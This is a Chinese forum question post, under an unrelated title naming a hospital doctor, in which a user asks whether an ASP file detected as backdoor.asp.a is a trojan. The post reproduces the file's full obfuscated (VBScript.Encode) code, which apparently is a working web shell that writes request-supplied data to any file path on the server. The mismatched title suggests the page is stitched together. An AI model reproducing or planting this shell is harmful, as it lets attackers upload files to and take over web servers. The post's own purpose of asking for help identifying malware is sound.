北京协和肝胆何主任:发现一个病毒，在线等答案！

刚发现了一个叫backdoor.asp.a是个什么病毒呢？

我打开了这个ASP文件，它只有4KB大小，而且里面有这样一些代码，好像不是ASP格式的代码，请问这是不是那些木马代马片断呢？
<%#@~^DAAAAA==~9kh,W(LsUr,vQMAAA==^#~@%>
<%#@~^CwAAAA==~9kh,09lYmPmgMAAA==^#~@%>
<%#@~^EgAAAA==~9kh,W(LZKE OsbVnPXgYAAA==^#~@%>
<%#@~^FgAAAA==~Kx~DMWD,DdEs+~x6O~9wcAAA==^#~@%>
<%#@~^QAAAAA==~U+O,W(LsUr,xPU+.\D /M+lDnr(L+1OcJUmMk2YrUTRok^n?H/Onsr4%n1YE#,ThYAAA==^#~@%>
<%#@~^KQAAAA==~b0~:Db:`M+$;+kYcJkXW[alY4E#*@!@*rE~Y4+ PqgwAAA==^#~@%>
<%#@~^HQAAAA==~6NCDl,'PM+$;+kYcJ1XW[9lYmE#,mwkAAA==^#~@%>
<%#@~^QgAAAA==~U+O,W(LZKE OsbVn'K4%oUrR;.+mY+:naYwk^+cDn5!+dYvE/H0[2mYtEbBK.Eb,dRcAAA==^#~@%>
<%#@~^GgAAAA==~K4%;W!xYwk^nRqDrYPW[mYl,XQkAAA==^#~@%>
<%#@~^EAAAAA==~b0~DMP'ZPD4+ P1AQAAA==^#~@%>
<%#@~^NwAAAA==~M+daW /+chMrYPE@!6WUO,mW^GD{aswoo!Z@*保存成功e@!&0GUD@*EPNQ8AAA==^#~@%>
<%#@~^BgAAAA==~VdP6QEAAA==^#~@%>
<%#@~^NwAAAA==~M+daW /+chMrYPE@!6WUO,mW^GD{aswoo!Z@*保存失败e@!&0GUD@*EPNQ8AAA==^#~@%>
<%#@~^CAAAAA==~x[,k6PZgIAAA==^#~@%>
<%#@~^CwAAAA==~D.cm^+lMPvgMAAA==^#~@%>
<%#@~^CAAAAA==~x[,k6PZgIAAA==^#~@%>
<%#@~^FAAAAA==~K4%;W!xYwk^nR;VG/PKAcAAA==^#~@%>
<%#@~^GgAAAA==~U+O,W(LZKE OsbVn'gWO4bxo,ZAkAAA==^#~@%>
<%#@~^FgAAAA==~U+O,W(LsUr,xPgWOtbxL~AwcAAA==^#~@%>
<%#@~^HAAAAA==~"+daW /+chMrYPE@!J0G.s@*J,qQgAAA==^#~@%>